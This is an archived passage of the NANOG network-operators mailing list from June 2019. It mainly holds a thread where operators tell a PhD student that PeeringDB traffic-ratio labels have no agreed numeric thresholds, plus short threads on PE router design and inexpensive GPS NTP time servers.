> > > > > > > On Jun 19, 2019, at 2:13 PM, i3D.net - Martijn Schmidt > wrote: > > It kinda depends on the application that's being used. For example, videogaming has a ratio somewhere around 1:2.5 since you're only transmitting metadata about the players environment across the wire. The actual video is typically rendered at the end user's side. So it's not very bandwidth heavy. > > Compare that with a videostream (watching a movie or TV series) and you're pumping the rendered video across the wire, so there's a very different ratio. Your return path traffic would pretty much consist of control stuff only (like pushing the pause button). > > Some networks are dedicated to serving one type of content, whereas others might have a blend of different kinds of content. Same story for an access network geared to business users which want to use emails and such, vs residential end users looking for the evening's entertainment. > > Best regards, > Martijn > > On 19 June 2019 19:54:45 CEST, Josh Luthman > wrote: > If you're asking an ISP, consumers will always be inbound. It's the end user. The outbound would be where the information is coming from, like data centers. > > I'm not sure you're going to get any better answer without a more specific question. > > Josh Luthman > Office: 937-552-2340 > Direct: 937-552-2343 > 1100 Wayne St > Suite 1337 > Troy, OH 45373 > > > On Wed, Jun 19, 2019 at 12:50 PM Prasun Dey > wrote: > Hello, > Good morning. > I’m a Ph.D. candidate from University of Central Florida. I have a query, I hope you can help me with it or at least point me to the right direction. > I’ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. > I’m wondering if there is any specific ratio numbers for them. In Norton’s Internet Peering Playbook or some other literary work, they mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other values. > I’d really appreciate your help if you can please mention what Outbound:Inbound ratios that network admins use frequently to represent their traffic ratios for > 1. Heavy Inbound: > 2. Mostly Inbound: > 3. Mostly Outbound: > 4. Heavy Outbound: > > Thank you. > - > Prasun > -- > Sincerely, > Prasun Kanti Dey, > Ph.D. candidate, > Dept. of Electrical and Computer Engineering, > University of Central Florida. > > -- > Sent from my Android device with K-9 Mail. Please excuse my brevity. > > The contents of this e-mail message and > any attachments are intended solely for the > addressee(s) and may contain confidential > and/or legally privileged information. If you > are not the intended recipient of this message > or if this message has been addressed to you > in error, please immediately alert the sender > by reply e-mail and then delete this message > and any attachments. If you are not the > intended recipient, you are notified that > any use, dissemination, distribution, copying, > or storage of this message or any attachment > is strictly prohibited. > > The contents of this e-mail message and > any attachments are intended solely for the > addressee(s) and may contain confidential > and/or legally privileged information. If you > are not the intended recipient of this message > or if this message has been addressed to you > in error, please immediately alert the sender > by reply e-mail and then delete this message > and any attachments. If you are not the > intended recipient, you are notified that > any use, dissemination, distribution, copying, > or storage of this message or any attachment > is strictly prohibited. -------------- next part -------------- An HTML attachment was scrubbed... URL: From prasun at nevada.unr.edu Thu Jun 20 00:13:34 2019 From: prasun at nevada.unr.edu (Prasun Dey) Date: Wed, 19 Jun 2019 20:13:34 -0400 Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: You’re right on that, Baldur. I’m aware of this, but my focus is to know whether there are any exact numbers that community has agreed on. Thank you for your reply. Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ > On Jun 19, 2019, at 6:59 PM, Baldur Norddahl wrote: > > Pure ISP is heavy inbound. Pure hosting is heavy outbound. > > The other categories are for people that have both types of business or who sell transit to both types of business. You are being asked what kind you are most. > > Regards > > Baldur > > > ons. 19. jun. 2019 18.50 skrev Prasun Dey >: > Hello, > Good morning. > I’m a Ph.D. candidate from University of Central Florida. I have a query, I hope you can help me with it or at least point me to the right direction. > I’ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. > I’m wondering if there is any specific ratio numbers for them. In Norton’s Internet Peering Playbook or some other literary work, they mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other values. > I’d really appreciate your help if you can please mention what Outbound:Inbound ratios that network admins use frequently to represent their traffic ratios for > 1. Heavy Inbound: > 2. Mostly Inbound: > 3. Mostly Outbound: > 4. Heavy Outbound: > > Thank you. > - > Prasun > -- > Sincerely, > Prasun Kanti Dey, > Ph.D. candidate, > Dept. of Electrical and Computer Engineering, > University of Central Florida. -------------- next part -------------- An HTML attachment was scrubbed... URL: From bjo at nord-west.org Thu Jun 20 08:34:03 2019 From: bjo at nord-west.org (Bjoern Franke) Date: Thu, 20 Jun 2019 10:34:03 +0200 Subject: BGP person from Bell Canada/AS577 In-Reply-To: <20190619154227.GB6254@jima.tpb.net> References: <28EA0CF3-56FE-4297-B446-138211D40F7A@lixfeld.ca> <1053135943.1641.1560954444850.JavaMail.mhammett@ThunderFuck> <20190619154227.GB6254@jima.tpb.net> Message-ID: > clusters so it's not really up to Bell to go against Akamai's request > to send their own + customer prefixes for their cluster. > Does Akamai mostly rely on the DNS the request was coming from? Regards Bjoern From nanog at ics-il.net Thu Jun 20 14:16:19 2019 From: nanog at ics-il.net (Mike Hammett) Date: Thu, 20 Jun 2019 09:16:19 -0500 (CDT) Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: <1653151488.2850.1561040176159.JavaMail.mhammett@ThunderFuck> The problem you're running into, Prasun, is that people either aren't actually reading what you're saying or have poor comprehension skills. Very few people are directly addressing what you're asking. ----- Mike Hammett Intelligent Computing Solutions Midwest Internet Exchange The Brothers WISP ----- Original Message ----- From: "Prasun Dey" To: "Josh Luthman" Cc: nanog at nanog.org Sent: Wednesday, June 19, 2019 3:42:38 PM Subject: Re: Traffic ratio of an ISP Josh, That’s great. I’m assuming your traffic is mainly inbound. So, my question is, do you have a threshold that defines your traffic ratio type. I’m taking an example from this thread. Say, your average incoming traffic is ~45 gbps, and outgoing traffic is ~4.5 gbps. So, your outbound:inbound = 1:10. What are you? Heavy Inbound? Extending this example, if your ratio is 1:7 or 1:6, then, what would you claim to be? A ‘Mostly Inbound’? Or still call yourself as Heavy Inbound? I’m just trying to understand what is the community practice? Thank you. - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/ On Jun 19, 2019, at 4:23 PM, Josh Luthman < josh at imaginenetworksllc.com > wrote: >my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced) Maybe I'm missing something but it's as simple as looking at the interface graphs. We see a whole lot of green for inbound and a little little blue line for outbound. We are an ISP with residential and commercial customers. Josh Luthman Office: 937-552-2340 Direct: 937-552-2343 1100 Wayne St Suite 1337 Troy, OH 45373 On Wed, Jun 19, 2019 at 4:20 PM Prasun Dey < prasun at nevada.unr.edu > wrote:
Hi Martijn and Josh, Thank you for your detailed explanation. Let me explain my requirement so that you may help me better. According to PeeringDB, Charter (Access), Sprint (Transit), Amazon (Content) all three of them are ‘Balanced’. While, Cable One, an Access ISP says it is Heavy Inbound, while Akamai, Netflix (Content) are Heavy Outbound. On the other hand, Cox, another access ISP, it says that it is Mostly Inbound. So, my question was more like to understand when an ISP decides to claim itself as any of these (Heavy Outbound/ Inbound or Balanced)? From an ISP’s own point of view, at what point, it says, my outbound:inbound is something, so I’m Heavy Outbound. Please ignore my lack of knowledge in this area. I’m sorry I should’ve done a better job in formulating my question earlier. Thank you. - Prasun Regards, Prasun Kanti Dey Ph.D. Candidate, Dept of Electrical and Computer Engineering, University of Central Florida web: https://prasunkantidey.github.io/portfolio/
On Jun 19, 2019, at 2:13 PM, i3D.net - Martijn Schmidt < martijnschmidt at i3d.net > wrote: It kinda depends on the application that's being used. For example, videogaming has a ratio somewhere around 1:2.5 since you're only transmitting metadata about the players environment across the wire. The actual video is typically rendered at the end user's side. So it's not very bandwidth heavy. Compare that with a videostream (watching a movie or TV series) and you're pumping the rendered video across the wire, so there's a very different ratio. Your return path traffic would pretty much consist of control stuff only (like pushing the pause button). Some networks are dedicated to serving one type of content, whereas others might have a blend of different kinds of content. Same story for an access network geared to business users which want to use emails and such, vs residential end users looking for the evening's entertainment. Best regards, Martijn On 19 June 2019 19:54:45 CEST, Josh Luthman < josh at imaginenetworksllc.com > wrote:
If you're asking an ISP, consumers will always be inbound. It's the end user. The outbound would be where the information is coming from, like data centers. I'm not sure you're going to get any better answer without a more specific question. Josh Luthman Office: 937-552-2340 Direct: 937-552-2343 1100 Wayne St Suite 1337 Troy, OH 45373 On Wed, Jun 19, 2019 at 12:50 PM Prasun Dey < prasun at nevada.unr.edu > wrote:
Hello, Good morning. I’m a Ph.D. candidate from University of Central Florida. I have a query, I hope you can help me with it or at least point me to the right direction. I’ve seen from PeeringDB that every ISP reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or Heavy/ Mostly Outbound. I’m wondering if there is any specific ratio numbers for them. In Norton’s Internet Peering Playbook or some other literary work, they mention the outbound:inbound traffic ratio as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other values. I’d really appreciate your help if you can please mention what Outbound:Inbound ratios that network admins use frequently to represent their traffic ratios for 1. Heavy Inbound: 2. Mostly Inbound: 3. Mostly Outbound: 4. Heavy Outbound: Thank you. - Prasun -- Sincerely, Prasun Kanti Dey, Ph.D. candidate, Dept. of Electrical and Computer Engineering, University of Central Florida.
-- Sent from my Android device with K-9 Mail. Please excuse my brevity.
-------------- next part -------------- An HTML attachment was scrubbed... URL: From mark.tinka at seacom.mu Thu Jun 20 14:27:01 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Thu, 20 Jun 2019 16:27:01 +0200 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> Message-ID: <50f1a38a-3638-a46e-4bde-7e9716173ca6@seacom.mu> On 19/Jun/19 22:22, adamv0025 at netconsultings.com wrote: > Yes it will cost a bit more (router is more expensive than a LC) I found the reverse to be true... chassis' are cheap. Line cards are costly. > > Would like to hear what are your thoughts on this conundrum. So this depends on where you want to deliver your service, and the function, in my opinion. If you are talking about an IP/MPLS-enabled Metro-E network, then having several, smaller routers spread across one or more rings is cheaper and more effective. If you are delivering services to large customers from within a data centre, large edge routers make more sense, particularly given the rising costs of co-location. If you are providing BNG services, it depends on how you want to balance ease of management vs. scale vs. cost. If you have the cash to spend, de-centralizing your BNG's across a region/city/country will give you more scale and better redundancy, but could be more costly depending on your per-box sizing as well as an increase in management time. If you want to improve management, you can have fewer boxes to cover large parts of your region/city/country. But this may mean buying a very large box to concentrate more users in fewer places. If you are trying to combine Enterprise, Service Provider and Consumer services in one chassis, well, as the saying goes, "If you are competitor, I approve of this message" :-). Mark. From job at instituut.net Thu Jun 20 14:27:18 2019 From: job at instituut.net (Job Snijders) Date: Thu, 20 Jun 2019 16:27:18 +0200 Subject: Traffic ratio of an ISP In-Reply-To: References: <7946A875-0E33-4E25-A5ED-1E009079A8F7@nevada.unr.edu> Message-ID: On Thu, Jun 20, 2019 at 4:21 PM Steller, Anthony J wrote: > because it really don’t matter in the whole scheme of things. Indeed, it doesn't matter. The "traffic ratio" field in PeeringDB probably should be deprecated, there is no formal definition nor is are there any operational consequences to changing the contents of that field. The contents of the field are entirely arbitrary. If the traffic ratio is relevant (I am not saying it is or isn't), such traffic ratios probably should be viewed in exclusively in context of specific ASN pairings. Maybe between you and me we'll see the dominant traffic direction being one way, and with another ASN pairing we see the opposite. There is no telling other than through observation, any such observations are unlikely to be shared with the general public. Kind regards, Job From valdis.kletnieks at vt.edu Thu Jun 20 14:28:49 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Thu, 20 Jun 2019 10:28:49 -0400 Subject: Traffic ratio of an ISP In-Reply-To: References: Message-ID: <15055.1561040929@turing-police> On Wed, 19 Jun 2019 16:20:37 -0400, Prasun Dey said: > So, my question was more like to understand when an ISP decides to claim > itself as any of these (Heavy Outbound/ Inbound or Balanced)? From an ISP���s own > point of view, at what point, it says, my outbound:inbound is something, so I���m > Heavy Outbound. Often, just "We're eyeballs, so heavily inbound" or similar quick estimation with no real numbers attached. Otherwise, often whatever the ISP's management thinks will give the best results when trying to convince another network to peer rather than have to pay for transit, or other similar reasons often only vaguely connected to reality. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From mark.tinka at seacom.mu Thu Jun 20 14:33:16 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Thu, 20 Jun 2019 16:33:16 +0200 Subject: Traffic ratio of an ISP In-Reply-To: References: <7946A875-0E33-4E25-A5ED-1E009079A8F7@nevada.unr.edu> Message-ID: On 19/Jun/19 23:30, Steller, Anthony J wrote: >   > > TL;DR - There are no hard numbers to give you, it just depends how > someone feels that day of the week when setting it. > Not surprising if some use it as a way to separate peers that have the stamina from those that don't :-). For those that have the stamina, another process awaits them :-)... Mark. -------------- next part -------------- An HTML attachment was scrubbed... URL: From davidbass570 at gmail.com Thu Jun 20 14:39:41 2019 From: davidbass570 at gmail.com (David Bass) Date: Thu, 20 Jun 2019 10:39:41 -0400 Subject: Cost effective time servers Message-ID: What are folks using these days for smaller organizations, that need to dole out time from an internal source? -------------- next part -------------- An HTML attachment was scrubbed... URL: From sethm at rollernet.us Thu Jun 20 14:46:10 2019 From: sethm at rollernet.us (Seth Mattinen) Date: Thu, 20 Jun 2019 07:46:10 -0700 Subject: Traffic ratio of an ISP In-Reply-To: <1653151488.2850.1561040176159.JavaMail.mhammett@ThunderFuck> References: <1653151488.2850.1561040176159.JavaMail.mhammett@ThunderFuck> Message-ID: <687a8a2c-b5fb-655b-7af4-4579bbc778ac@rollernet.us> On 6/20/19 7:16 AM, Mike Hammett wrote: > The problem you're running into, Prasun, is that people either aren't > actually reading what you're saying or have poor comprehension skills. > Very few people are directly addressing what you're asking. A good question would be, who actually cares about ratios in the year 2019? Does anyone still calculate them and use them to decide anything? If so, why does it matter? From mel at beckman.org Thu Jun 20 14:59:46 2019 From: mel at beckman.org (Mel Beckman) Date: Thu, 20 Jun 2019 14:59:46 +0000 Subject: Cost effective time servers In-Reply-To: References: Message-ID: <6B4AA824-DB98-469C-9339-8CAE6E0C4AD6@beckman.org> I use the $300 GPS-based TM1000A from TimeMachinesCorp.com. Gets Stratum-1 time from GPS satellites and distributes it. Usually I relay this through a handful of local time servers to spread out the load, but it can handle hundreds of queries per minute, so it’s reasonable to use as a primary source even in moderate-sized data centers. I’ve put in a ton of them, and in most installations I buy two for redundancy. The GPS antenna works from a window in most instances . -mel beckman > On Jun 20, 2019, at 7:53 AM, David Bass wrote: > > What are folks using these days for smaller organizations, that need to dole out time from an internal source? From rabino67 at gmail.com Thu Jun 20 14:47:54 2019 From: rabino67 at gmail.com (Aaron Rabinowitz) Date: Thu, 20 Jun 2019 10:47:54 -0400 Subject: AT&T Email RBL POC Request Message-ID: Can someone who manages RBL1 contact me off-list? Thank you in advance! -- Aaron -------------- next part -------------- An HTML attachment was scrubbed... URL: From mark.tinka at seacom.mu Thu Jun 20 15:09:30 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Thu, 20 Jun 2019 17:09:30 +0200 Subject: Traffic ratio of an ISP In-Reply-To: <687a8a2c-b5fb-655b-7af4-4579bbc778ac@rollernet.us> References: <1653151488.2850.1561040176159.JavaMail.mhammett@ThunderFuck> <687a8a2c-b5fb-655b-7af4-4579bbc778ac@rollernet.us> Message-ID: <9519ba52-f137-71cb-47b5-60eb5d6d0a2f@seacom.mu> On 20/Jun/19 16:46, Seth Mattinen wrote: >   > > A good question would be, who actually cares about ratios in the year > 2019? Does anyone still calculate them and use them to decide > anything? If so, why does it matter? We never have. I find the exercise pointless. In fact, more than 90% of the time that I have come across the ratio discussion has not been from engineers, but rather, sales people that think they know a lot more about peering than peering co-ordinators. A large ISP somewhere between France and Poland comes to memory... Mark. From warren at kumari.net Thu Jun 20 15:30:39 2019 From: warren at kumari.net (Warren Kumari) Date: Thu, 20 Jun 2019 11:30:39 -0400 Subject: Cost effective time servers In-Reply-To: <6B4AA824-DB98-469C-9339-8CAE6E0C4AD6@beckman.org> References: <6B4AA824-DB98-469C-9339-8CAE6E0C4AD6@beckman.org> Message-ID: On Thu, Jun 20, 2019 at 11:00 AM Mel Beckman wrote: > > I use the $300 GPS-based TM1000A from TimeMachinesCorp.com. Gets Stratum-1 time from GPS satellites and distributes it. Usually I relay this through a handful of local time servers to spread out the load, but it can handle hundreds of queries per minute, so it’s reasonable to use as a primary source even in moderate-sized data centers. > > I’ve put in a ton of them, and in most installations I buy two for redundancy. The GPS antenna works from a window in most instances . I recently fell down the high precision time rabbithole, and now have 3 GPS units (a Truetime, a Symmetricom S250 and a LeoNTP), 3 Cesuim Primary Reference sources (an FTS4060, and 2 PRS-50s), and an assortment rubidium units. One of the "standard" solutions is one of the Microsemi (Symmetricom) SyncServer's, but these can be expensive -- I've been much happies with the LeoNTP ( http://www.leobodnar.com/shop/index.php?main_page=product_info&products_id=272 ) -- they are small, they are cheap, and they fast, they are "accurate enough", and they just work. I've got one on my desk, with a cheap (car) GPS antenna dangling out the window, and it syncs and runs happily. A friend of mine has stuffed one in an IP68 box and it's hanging happily on the side of a TV tower in the elements with no issues... I get mine from airspy.us - $349 + antenna. W > > -mel beckman > > > On Jun 20, 2019, at 7:53 AM, David Bass wrote: > > > > What are folks using these days for smaller organizations, that need to dole out time from an internal source? -- I don't think the execution is relevant when it was obviously a bad idea in the first place. This is like putting rabid weasels in your pants, and later expressing regret at having chosen those particular rabid weasels and that pair of pants. ---maf From mel at beckman.org Thu Jun 20 15:42:49 2019 From: mel at beckman.org (Mel Beckman) Date: Thu, 20 Jun 2019 15:42:49 +0000 Subject: Cost effective time servers In-Reply-To: References: <6B4AA824-DB98-469C-9339-8CAE6E0C4AD6@beckman.org>, Message-ID: Warren, I like the cheap price of the LeoNTP. The only reason I prefer the Tm1000a is that it has an embedded web server, which lets me monitor the satellite constellation visibility. Otherwise, except for oven-controller time clocks, it seems obvious that the $2000+ GPS NTP servers are overpriced overkill :) -mel via cell > On Jun 20, 2019, at 8:31 AM, Warren Kumari wrote: > >> On Thu, Jun 20, 2019 at 11:00 AM Mel Beckman wrote: >> >> I use the $300 GPS-based TM1000A from TimeMachinesCorp.com. Gets Stratum-1 time from GPS satellites and distributes it. Usually I relay this through a handful of local time servers to spread out the load, but it can handle hundreds of queries per minute, so it’s reasonable to use as a primary source even in moderate-sized data centers. >> >> I’ve put in a ton of them, and in most installations I buy two for redundancy. The GPS antenna works from a window in most instances . > > I recently fell down the high precision time rabbithole, and now have > 3 GPS units (a Truetime, a Symmetricom S250 and a LeoNTP), 3 Cesuim > Primary Reference sources (an FTS4060, and 2 PRS-50s), and an > assortment rubidium units. > > One of the "standard" solutions is one of the Microsemi (Symmetricom) > SyncServer's, but these can be expensive -- I've been much happies > with the LeoNTP ( > http://www.leobodnar.com/shop/index.php?main_page=product_info&products_id=272 > ) -- they are small, they are cheap, and they fast, they are "accurate > enough", and they just work. I've got one on my desk, with a cheap > (car) GPS antenna dangling out the window, and it syncs and runs > happily. A friend of mine has stuffed one in an IP68 box and it's > hanging happily on the side of a TV tower in the elements with no > issues... > > I get mine from airspy.us - $349 + antenna. > > W > > >> >> -mel beckman >> >>> On Jun 20, 2019, at 7:53 AM, David Bass wrote: >>> >>> What are folks using these days for smaller organizations, that need to dole out time from an internal source? > > > > -- > I don't think the execution is relevant when it was obviously a bad > idea in the first place. > This is like putting rabid weasels in your pants, and later expressing > regret at having chosen those particular rabid weasels and that pair > of pants. > ---maf From warren at kumari.net Thu Jun 20 15:47:58 2019 From: warren at kumari.net (Warren Kumari) Date: Thu, 20 Jun 2019 11:47:58 -0400 Subject: Cost effective time servers In-Reply-To: References: <6B4AA824-DB98-469C-9339-8CAE6E0C4AD6@beckman.org> Message-ID: On Thu, Jun 20, 2019 at 11:42 AM Mel Beckman wrote: > > Warren, > > I like the cheap price of the LeoNTP. The only reason I prefer the Tm1000a is that it has an embedded web server, which lets me monitor the satellite constellation visibility. Otherwise, except for oven-controller time clocks, it seems obvious that the $2000+ GPS NTP servers are overpriced overkill :) Yup, that is a very good point -- the LeoNTP has a small LED interface and a rotary encoder for configuration and monitoring, but it doesn't have a web UI. >From the FAQ: "Q/ Can I configure it via HTTP/Telnet ? A/ No. Running a web server on this device although entirely possible would reduce the performance of the unit. Therefore we took the decision to just do configuration via the front panel." This is indeed a really annoying limitation - in the past I've ended up pointing a webcam at the LCD, but that is (obviously) suboptimal. I also forgot to mention that it doesn't (yet) do v6, but that might be added in future firmware versions... W > > -mel via cell > > > On Jun 20, 2019, at 8:31 AM, Warren Kumari wrote: > > > >> On Thu, Jun 20, 2019 at 11:00 AM Mel Beckman wrote: > >> > >> I use the $300 GPS-based TM1000A from TimeMachinesCorp.com. Gets Stratum-1 time from GPS satellites and distributes it. Usually I relay this through a handful of local time servers to spread out the load, but it can handle hundreds of queries per minute, so it’s reasonable to use as a primary source even in moderate-sized data centers. > >> > >> I’ve put in a ton of them, and in most installations I buy two for redundancy. The GPS antenna works from a window in most instances . > > > > I recently fell down the high precision time rabbithole, and now have > > 3 GPS units (a Truetime, a Symmetricom S250 and a LeoNTP), 3 Cesuim > > Primary Reference sources (an FTS4060, and 2 PRS-50s), and an > > assortment rubidium units. > > > > One of the "standard" solutions is one of the Microsemi (Symmetricom) > > SyncServer's, but these can be expensive -- I've been much happies > > with the LeoNTP ( > > http://www.leobodnar.com/shop/index.php?main_page=product_info&products_id=272 > > ) -- they are small, they are cheap, and they fast, they are "accurate > > enough", and they just work. I've got one on my desk, with a cheap > > (car) GPS antenna dangling out the window, and it syncs and runs > > happily. A friend of mine has stuffed one in an IP68 box and it's > > hanging happily on the side of a TV tower in the elements with no > > issues... > > > > I get mine from airspy.us - $349 + antenna. > > > > W > > > > > >> > >> -mel beckman > >> > >>> On Jun 20, 2019, at 7:53 AM, David Bass wrote: > >>> > >>> What are folks using these days for smaller organizations, that need to dole out time from an internal source? > > > > > > > > -- > > I don't think the execution is relevant when it was obviously a bad > > idea in the first place. > > This is like putting rabid weasels in your pants, and later expressing > > regret at having chosen those particular rabid weasels and that pair > > of pants. > > ---maf -- I don't think the execution is relevant when it was obviously a bad idea in the first place. This is like putting rabid weasels in your pants, and later expressing regret at having chosen those particular rabid weasels and that pair of pants. ---maf From kmedcalf at dessus.com Thu Jun 20 16:16:03 2019 From: kmedcalf at dessus.com (Keith Medcalf) Date: Thu, 20 Jun 2019 10:16:03 -0600 Subject: Traffic ratio of an ISP In-Reply-To: Message-ID: <5f7ae08ba5968b40884d1f98c960a749@mail.dessus.com> Having an inbound:outbound ration of 10:1 is known as a leech ... --- The fact that there's a Highway to Hell but only a Stairway to Heaven says a lot about anticipated traffic volume. >-----Original Message----- >From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Prasun Dey >Sent: Wednesday, 19 June, 2019 14:58 >To: Aaron Gould >Cc: nanog at nanog.org >Subject: Re: Traffic ratio of an ISP > >Thank you Aaron, >This is great. This gives an interesting insight regarding CDN as >they seem to play a big role here. However, in general, what do you >call your ISP as? A 'Heavy Inbound' or 'Mostly Inbound'? Is there any >community standard about this ratio (having 1:10 or higher) to be >treated as Heavy Inbound? Or this is just a rough estimation? > >Thank you. >- >Prasun > >Regards, >Prasun Kanti Dey >Ph.D. Candidate, >Dept of Electrical and Computer Engineering, >University of Central Florida >web: https://prasunkantidey.github.io/portfolio/ > > > > > > > > On Jun 19, 2019, at 2:18 PM, Aaron Gould >wrote: > > I run an eyeballs/isp network for about ~50,000 subscribers, and >I see about 1:10 ratio at peak time. Last night ~4.5 gbps out, ~45 >gbps in. But, I do have local caching of 4 big name cdn cache >providers, so that might alter the 1:10 ratio I see on my actual inet >links (which do not include the local cdn traffic) > > …take Netflix for instance… I see on my local nfx cdn links, >1:100 ratio of in:out. 20 gbps inbound and .2 gbps outbound (during >that same timeframe as aforementioned actual inet links) > > Numbers based on 21:00 CDT last night. > > > -Aaron > From kmedcalf at dessus.com Thu Jun 20 16:21:42 2019 From: kmedcalf at dessus.com (Keith Medcalf) Date: Thu, 20 Jun 2019 10:21:42 -0600 Subject: Traffic ratio of an ISP In-Reply-To: <2C685DF1-C709-412F-967E-E8D54AE00926@nevada.unr.edu> Message-ID: <5a63601017146e408bdf335011ee68fe@mail.dessus.com> Why would you think that "Heavy Inbound" signifies a greater inbound:oubound ratio compared to "Mostly Inbound"? To me "Heavy Inbound" means that there is more inbound than outbound and "Mostly Inbound" means exactly that -- mostly/usually/exclusively inbound with the occasional outbound byte or two. --- The fact that there's a Highway to Hell but only a Stairway to Heaven says a lot about anticipated traffic volume. >-----Original Message----- >From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Prasun Dey >Sent: Wednesday, 19 June, 2019 15:33 >To: Mike Hammett >Cc: nanog at nanog.org >Subject: Re: Traffic ratio of an ISP > >Thank you, Mike. >From an outsider, I don’t have any information of an ISP’s traffic >numbers. And this may be confidential unless we are using any >measurement platform, which CAIDA is doing. To get a rough idea about >any ISP’s traffic outbound:inbound ratio I can only see it's >PeeringDB label. But, the question is whether there is any community >decided values against these labels? >Like, >1:2 = Balanced >1:5 = Mostly Inbound >1:10 = Heavy Inbound >10:1 = Heavy Outbound >I just came up with these values. They don’t mean anything. I don’t >have any solid evidence or source to support them. So, my question >is, what people actually use? Or, it totally depends on the ISPs and >they vary. > >- >Prasun > >Regards, >Prasun Kanti Dey >Ph.D. Candidate, >Dept of Electrical and Computer Engineering, >University of Central Florida >web: https://prasunkantidey.github.io/portfolio/ > > > > > > > > On Jun 19, 2019, at 5:18 PM, Mike Hammett >wrote: > > Yes, you seem to misunderstand (at least of what I understand). >PeeringDB has categories of ratios to choose from. What has the >community decided is acceptable ratios for each category? It's fairly >trivial for any network to determine what their ratio is as a number, >but not necessarily as a PeeringDB label. > > > > > ----- > Mike Hammett > Intelligent Computing Solutions > > > > > Midwest Internet Exchange > > > > The Brothers WISP > > > >________________________________ > > From: "Josh Luthman" > To: "Prasun Dey" > Cc: nanog at nanog.org > Sent: Wednesday, June 19, 2019 3:23:33 PM > Subject: Re: Traffic ratio of an ISP > > > >my question was more like to understand when an ISP decides to >claim itself as any of these (Heavy Outbound/ Inbound or Balanced) > > Maybe I'm missing something but it's as simple as looking at the >interface graphs. We see a whole lot of green for inbound and a >little little blue line for outbound. We are an ISP with residential >and commercial customers. > > > Josh Luthman > Office: 937-552-2340 > Direct: 937-552-2343 > 1100 Wayne St > Suite 1337 > Troy, OH 45373 > > > On Wed, Jun 19, 2019 at 4:20 PM Prasun Dey > wrote: > > > Hi Martijn and Josh, > Thank you for your detailed explanation. Let me explain my >requirement so that you may help me better. > According to PeeringDB, Charter (Access), Sprint >(Transit), Amazon (Content) all three of them are ‘Balanced’. While, >Cable One, an Access ISP says it is Heavy Inbound, while Akamai, >Netflix (Content) are Heavy Outbound. On the other hand, Cox, another >access ISP, it says that it is Mostly Inbound. > So, my question was more like to understand when an ISP >decides to claim itself as any of these (Heavy Outbound/ Inbound or >Balanced)? From an ISP’s own point of view, at what point, it says, >my outbound:inbound is something, so I’m Heavy Outbound. > Please ignore my lack of knowledge in this area. I’m sorry >I should’ve done a better job in formulating my question earlier. > Thank you. > > > - > Prasun > > Regards, > Prasun Kanti Dey > Ph.D. Candidate, > Dept of Electrical and Computer Engineering, > University of Central Florida > web: https://prasunkantidey.github.io/portfolio/ > > > > > > > > On Jun 19, 2019, at 2:13 PM, i3D.net > - Martijn Schmidt wrote: > > It kinda depends on the application that's being >used. For example, videogaming has a ratio somewhere around 1:2.5 >since you're only transmitting metadata about the players environment >across the wire. The actual video is typically rendered at the end >user's side. So it's not very bandwidth heavy. > > Compare that with a videostream (watching a movie or >TV series) and you're pumping the rendered video across the wire, so >there's a very different ratio. Your return path traffic would pretty >much consist of control stuff only (like pushing the pause button). > > Some networks are dedicated to serving one type of >content, whereas others might have a blend of different kinds of >content. Same story for an access network geared to business users >which want to use emails and such, vs residential end users looking >for the evening's entertainment. > > Best regards, > Martijn > > > On 19 June 2019 19:54:45 CEST, Josh Luthman > wrote: > > If you're asking an ISP, consumers will always >be inbound. It's the end user. The outbound would be where the >information is coming from, like data centers. > > I'm not sure you're going to get any better >answer without a more specific question. > > Josh Luthman > Office: 937-552-2340 > Direct: 937-552-2343 > 1100 Wayne St > Suite 1337 > Troy, OH 45373 > > > On Wed, Jun 19, 2019 at 12:50 PM Prasun Dey > wrote: > > > Hello, > Good morning. > I’m a Ph.D. candidate from University of >Central Florida. I have a query, I hope you can help me with it or at >least point me to the right direction. > I’ve seen from PeeringDB that every ISP >reveals its traffic ratio as Heavy/ Mostly Inbound or Balanced or >Heavy/ Mostly Outbound. > I’m wondering if there is any specific >ratio numbers for them. In Norton’s Internet Peering Playbook or some >other literary work, they mention the outbound:inbound traffic ratio >as 1:1.2 to up to 1:3 for Balanced. But, I couldn’t find the other >values. > I’d really appreciate your help if you can >please mention what Outbound:Inbound ratios that network admins use >frequently to represent their traffic ratios for > 1. Heavy Inbound: > 2. Mostly Inbound: > 3. Mostly Outbound: > 4. Heavy Outbound: > > Thank you. > - > Prasun > -- > > Sincerely, > Prasun Kanti Dey, > Ph.D. candidate, > Dept. of Electrical and Computer >Engineering, > University of Central Florida. > > > -- > Sent from my Android device with K-9 Mail. Please >excuse my brevity. > From prasun at nevada.unr.edu Thu Jun 20 20:15:22 2019 From: prasun at nevada.unr.edu (Prasun Dey) Date: Thu, 20 Jun 2019 16:15:22 -0400 Subject: Traffic ratio of an ISP In-Reply-To: <16770.1560996616@turing-police> References: <16770.1560996616@turing-police> Message-ID: <20FDF7FB-DC57-4D96-A72B-EE538BD27DBD@nevada.unr.edu> Thanks Valdis for mentioning the classifications. I’ve used ISPs as generic word. But, you’re right, it’d be better if I had distinguished the CPs, ISPs or the Transits specifically. However, thanks to the community, 